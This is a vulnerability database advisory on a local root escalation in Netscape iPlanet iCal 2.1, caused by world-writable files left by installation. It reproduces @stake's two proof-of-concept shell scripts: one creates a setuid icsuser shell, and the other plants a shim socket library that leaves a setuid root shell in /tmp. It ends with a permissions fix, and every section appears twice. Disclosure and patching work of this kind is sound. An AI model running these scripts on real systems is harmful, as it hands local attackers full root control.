Netscape iPlanet iCal 'iplncal.sh' Permissions Vulnerability
BID:1768
Info
Netscape iPlanet iCal 'iplncal.sh' Permissions Vulnerability
| Bugtraq ID: | 1768 |
| Class: | Origin Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Oct 10 2000 12:00AM |
| Updated: | Oct 10 2000 12:00AM |
| Credit: | This vulnerability was discovered by @stake, Inc. and posted to the Bugtraq mailing list on Mon, 9 Oct 2000. |
| Vulnerable: |
Netscape iCal 2.1 Patch2 |
| Not Vulnerable: | |
Discussion
Netscape iPlanet iCal 'iplncal.sh' Permissions Vulnerability
Netscape's iPlanet iCal application is a network based calendar service built for deployment in organizations which require a centralized calendar system. Certain versions of iCal ship with a vulnerability introduced in the installation process which will allow malicious local users to gain root on the system.
During the installation process a large number of files are left world readable and writable. One such file, /opt/SUNWicsrv/cal/bin/iplncal.sh is designed to be run at startup as root and is world writable by default. This allows users to modify the contents of this startup script and have it executed at boot up time or whenever the machine is re-initialized.
Netscape's iPlanet iCal application is a network based calendar service built for deployment in organizations which require a centralized calendar system. Certain versions of iCal ship with a vulnerability introduced in the installation process which will allow malicious local users to gain root on the system.
During the installation process a large number of files are left world readable and writable. One such file, /opt/SUNWicsrv/cal/bin/iplncal.sh is designed to be run at startup as root and is world writable by default. This allows users to modify the contents of this startup script and have it executed at boot up time or whenever the machine is re-initialized.
Exploit / POC
Netscape iPlanet iCal 'iplncal.sh' Permissions Vulnerability
The following exploit information has been taken from the @ Stake advisory on this issue. The advisory itself is attached in full in the 'Credit' section of this vulnerability.
Proof of Concept Tools:
There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim
libsocket.so.1 library with a modified socket() function that then
executes a shell script as root.
[begin: obtain-ics.sh]
#!/bin/sh
#
# Simple proof of concept exploit used to obtain icsuser shell.
#
# [email protected]
#
INSTDIR=`cat /etc/iplncal.conf`
cat > cshttpd << FOOFOO
#!/bin/sh
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
FOOFOO
chmod 755 ./cshttpd
echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null
sleep 1
ls -al ./icsuser
[end: obtain-ics.sh]
[begin: obtain-root.sh]
#!/bin/sh
#
# Simple iCal exploit. Become icsuser by running the shell created with
# the
# obtain-ics.sh script, and then run this shell script. The next time that
# the
# service is started by root (ie. system reboot), a root owned suid shell
# will
# be created: /tmp/r00tshell.
#
# [email protected]
#
INSTDIR=`cat /etc/iplncal.conf`
#######
#Create the shim library..
cat > libsushi.c << FOEFOE
/* libsushi
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
libsushi.c
*/
#include <unistd.h>
int socket(void)
{
setuid(0);
execl("./icalroot","icalroot",0);
return 0;
}
FOEFOE
#####
#create the shell script we'll be executing as root..
cat > $INSTDIR/cal/bin/icalroot << FOOFOO
#!/bin/sh
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
rm $INSTDIR/cal/bin/icalroot
rm $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/icalroot
echo ".. Now wait for the iCal service to start up again"
[end: obtain-root.sh]
For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc
The following exploit information has been taken from the @ Stake advisory on this issue. The advisory itself is attached in full in the 'Credit' section of this vulnerability.
Proof of Concept Tools:
There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim
libsocket.so.1 library with a modified socket() function that then
executes a shell script as root.
[begin: obtain-ics.sh]
#!/bin/sh
#
# Simple proof of concept exploit used to obtain icsuser shell.
#
# [email protected]
#
INSTDIR=`cat /etc/iplncal.conf`
cat > cshttpd << FOOFOO
#!/bin/sh
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
FOOFOO
chmod 755 ./cshttpd
echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null
sleep 1
ls -al ./icsuser
[end: obtain-ics.sh]
[begin: obtain-root.sh]
#!/bin/sh
#
# Simple iCal exploit. Become icsuser by running the shell created with
# the
# obtain-ics.sh script, and then run this shell script. The next time that
# the
# service is started by root (ie. system reboot), a root owned suid shell
# will
# be created: /tmp/r00tshell.
#
# [email protected]
#
INSTDIR=`cat /etc/iplncal.conf`
#######
#Create the shim library..
cat > libsushi.c << FOEFOE
/* libsushi
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
libsushi.c
*/
#include <unistd.h>
int socket(void)
{
setuid(0);
execl("./icalroot","icalroot",0);
return 0;
}
FOEFOE
#####
#create the shell script we'll be executing as root..
cat > $INSTDIR/cal/bin/icalroot << FOOFOO
#!/bin/sh
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
rm $INSTDIR/cal/bin/icalroot
rm $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/icalroot
echo ".. Now wait for the iCal service to start up again"
[end: obtain-root.sh]
For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc
Solution / Fix
Netscape iPlanet iCal 'iplncal.sh' Permissions Vulnerability
Solution:
/opt/SUNWicsrv/cal/bin/iplncal.sh is linked to from /etc/iplncal.sh which is executed by /etc/rc3.d/S94sunwicsrv. In order to address this problem users should change the permissions on /opt/SUNWicsrv/cal/bin/iplncal.sh to be non world readable and writeable and to be owned (for read and write) by root. The advisory from which these details were culled further suggests that users change the ownership of the '/opt/SUNWicsrv/cal/bin' directory to root to avoid other vulnerabilities which also ship with the server.
Solution:
/opt/SUNWicsrv/cal/bin/iplncal.sh is linked to from /etc/iplncal.sh which is executed by /etc/rc3.d/S94sunwicsrv. In order to address this problem users should change the permissions on /opt/SUNWicsrv/cal/bin/iplncal.sh to be non world readable and writeable and to be owned (for read and write) by root. The advisory from which these details were culled further suggests that users change the ownership of the '/opt/SUNWicsrv/cal/bin' directory to root to avoid other vulnerabilities which also ship with the server.
References
Netscape iPlanet iCal 'iplncal.sh' Permissions Vulnerability
References:
References:
- @ Stake Homepage (@stake)
- Netscape Security (Netscape)